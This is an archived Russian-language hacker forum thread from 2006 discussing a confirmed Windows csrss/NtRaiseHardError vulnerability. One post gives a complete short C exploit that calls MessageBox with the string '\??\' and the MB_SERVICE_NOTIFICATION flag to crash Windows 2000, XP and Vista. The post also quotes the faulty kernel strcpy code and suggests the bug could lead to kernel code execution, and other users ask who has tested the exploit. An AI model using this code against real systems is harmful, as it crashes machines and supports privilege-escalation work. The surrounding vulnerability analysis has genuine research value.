MS подтвердила существование уязвимости в подcистеме csrss

Discussion in 'Мировые новости. Обсуждения.' started by KPOT_f!nd, 25 Dec 2006.

  1. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    В блоге Microsoft Security Response Center
    появилось подтверждение существования ошибки в Client Server Run-Time Subsystem, которая может привести к повышению локальных привилегий. Код, запарывающий память csrss, что в большинстве случаев выкидывает систему (от win2k до висты) на синий экран, использует штатную функцию WinAPI MessageBox. Пока в Microsoft сохраняют спокойствие, продолжая считать Висту самой безопасной современной платформой и отслеживая ситуацию, связанную с этой уязвимостью.
    Источник: www.mazafaka.ru
     
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    да епт при чем тут месажбокс. система вылетает на уровне ядра в функции NtRaiseHardError, которая неккоректно обрабатывает строку, начинающуюся на \??\.

    гыгы, ну-ну...
     
  3. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    А вот и сам сплоит:
    Кто затестил?
    Взят отсюда http://www.security.nnov.ru
    Ссылка по теме: http://www.kuban.ru/forum_new/forum2/files/19124.html
     
    #3 -=lebed=-, 25 Dec 2006
    Last edited: 25 Dec 2006
  4. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    хы... как юнит скомпилил в бдске - нифига винда не вылетает)
    приду вечером, надеюсь добью багсу...
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    я тестил, работает. сплоит можно сократить до

    Code:
    #include <windows.h>
    
    int main(void){
    int i;
    char bug [] ="\\??\\";
    for(i = 0; i < 10; i ++) MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
    }
    Работает на ура.
    MessageBox при флаге MB_SERVICE_NOTIFICATION вызывает на самом деле ntdll!NtRaiseHardError для показа окошка, а она - переходник для функции ядра ntoskrnl!NtRaiseHardError.
    В ней идет обработка первых символов \??\ весьма причудливым образом.
    Как написано в письме, отосланном в микрософт, ]it looks like some
    "debug" feature not cleaned out in final release and it seems to
    exploitable to code execution at kernel level.

    Вот такие пироги. Если повезет, можно накатать сплоит для выполнения кода в режиме ядра, последствия чего пояснять не стоит.

    Уязвимые версии - 2000 (все сп), XP ( все сп), Vista.
    Однако микрософт продолжает считать Висту защищенной. Ну-ну

    Вот такие пироги, в кратце)


    UPD: Кусок кода NtRaiseHardError:
    Code:
    } else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
    strcpy( asLocal.Buffer, asLocal.Buffer+4 );
    по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
     
    #5 _Great_, 25 Dec 2006
    Last edited: 25 Dec 2006
    1 person likes this.
  6. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    Хехе Билли как всегда слепо верит что от его творения неcмогут отказаться :)
     
Loading...